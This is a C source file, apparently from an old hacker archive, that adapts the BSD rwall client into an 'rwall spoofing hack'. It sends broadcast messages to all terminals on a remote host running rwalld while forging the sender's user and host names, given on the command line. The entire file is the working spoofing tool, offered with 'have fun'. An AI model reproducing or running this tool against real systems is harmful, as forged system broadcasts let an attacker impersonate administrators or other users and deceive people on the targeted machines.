/* rwall spoofing hack... should compile on most sunos 4.1.x, bsd-like, and
 *                        hpux OSes...  have fun.
 *
 * note: works only on hosts which have rwalld in /etc/inetd.conf 
 */

/*
 * Copyright (c) 1993 Christopher G. Demetriou
 * Copyright (c) 1988, 1990 Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by the University of
 *	California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#ifndef lint
char copyright[] =
  "@(#) Copyright (c) 1988 Regents of the University of California.\n\
  All rights reserved.\n";
#endif /* not lint */

#ifndef lint
/*static char sccsid[] = "from: @(#)wall.c	5.14 (Berkeley) 3/2/91";*/
static char rcsid[] = "$Id: rwall.c,v 1.5 1993/12/10 19:24:39 jtc Exp $";
#endif /* not lint */

/*
 * This program is not related to David Wall, whose Stanford Ph.D. thesis
 * is entitled "Mechanisms for Broadcast and Selective Broadcast".
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <unistd.h>
#ifdef sony_news
#include <sys/time.h>
#endif
#include <rpc/rpc.h>
#include <rpcsvc/rwall.h>
#if (defined ultrix) || (defined hpux)
#define	mkstemp	mktemp
#endif
#define _PATH_TMP	"/usr/tmp"
struct timeval timeout =
    {
      25, 0
    };
int mbufsize;
char *mbuf;

void makemsg ();

int
main(argc, argv)
int argc;
char **argv;
{
  char *wallhost, res;
  CLIENT *cl;

  if ((argc < 4) || (argc > 5))
    {
      fprintf(stderr, "usage: %s hostname fakeuser fakehost [file]\n", argv[0]);
      exit(1);
    }

  wallhost = argv[1];

  makemsg(argv[4], argv[2], argv[3]);

  /*
   * Create client "handle" used for calling MESSAGEPROG on the
   * server designated on the command line. We tell the rpc package
   * to use the "tcp" protocol when contacting the server.
  */
  cl = clnt_create(wallhost, WALLPROG, WALLVERS, "udp");
  if (cl == NULL)
    {
      /*
       * Couldn't establish connection with server.
       * Print error message and die.
 [2000]*/
      clnt_pcreateerror(wallhost);
      exit(1);
    }

  if (clnt_call(cl, WALLPROC_WALL, xdr_wrapstring, &mbuf, xdr_void, &res, timeout) != RPC_SUCCESS)
    {
      /*
       * An error occurred while calling the server. 
       * Print error message and die.
 [2000]*/
      clnt_perror(cl, wallhost);
      exit(1);
    }

  exit(0);
}

void
makemsg(fname,uname,hname)
char *fname, *uname, *hname;
{
  struct tm *lt;
  struct passwd *pw;
  struct stat sbuf;
  time_t now;
  FILE *fp;
  int fd;
  char *whom, *hostname, lbuf[100], tmpname[32];

  (void)strcpy(tmpname, _PATH_TMP);
  (void)strcat(tmpname, "/wall.XXXXXX");
  if (!(fd = mkstemp(tmpname)) || !(fp = fdopen(fd, "r+")))
    {
      (void)fprintf(stderr, "wall: can't open temporary file.\n");
      exit(1);
    }
  (void)unlink(tmpname);
  whom = uname;
  hostname = hname;
  (void)time(&now);
  lt = localtime(&now);

  /*
   * all this stuff is to blank out a square for the message;
   * we wrap message lines at column 79, not 80, because some
   * terminals wrap after 79, some do not, and we can't tell.
   * Which means that we may leave a non-blank character
   * in column 80, but that can't be helped.
   */
  (void)fprintf(fp, "Remote Broadcast Message from %s@%s\n",
                whom, hostname);
  (void)fprintf(fp, "        (%s) at %d:%02d ...\n", ttyname(2),
                lt->tm_hour, lt->tm_min);

  putc('\n', fp);

  if (fname && !(freopen(fname, "r", stdin)))
    {
      (void)fprintf(stderr, "wall: can't read %s.\n", fname);
      exit(1);
    }
  while (fgets(lbuf, sizeof(lbuf), stdin))
    fputs(lbuf, fp);
  rewind(fp);

  if (fstat(fd, &sbuf))
    {
      (void)fprintf(stderr, "wall: can't stat temporary file.\n");
      exit(1);
    }
  mbufsize = sbuf.st_size;
  if (!(mbuf = malloc((u_int)mbufsize)))
    {
      (void)fprintf(stderr, "wall: out of memory.\n");
      exit(1);
    }
  if (fread(mbuf, sizeof(*mbuf), mbufsize, fp) != mbufsize)
    {
      (void)fprintf(stderr, "wall: can't read temporary file.\n");
      exit(1);
    }
  (void)close(fd);
}
/*                    www.hack.co.za              [2000]*/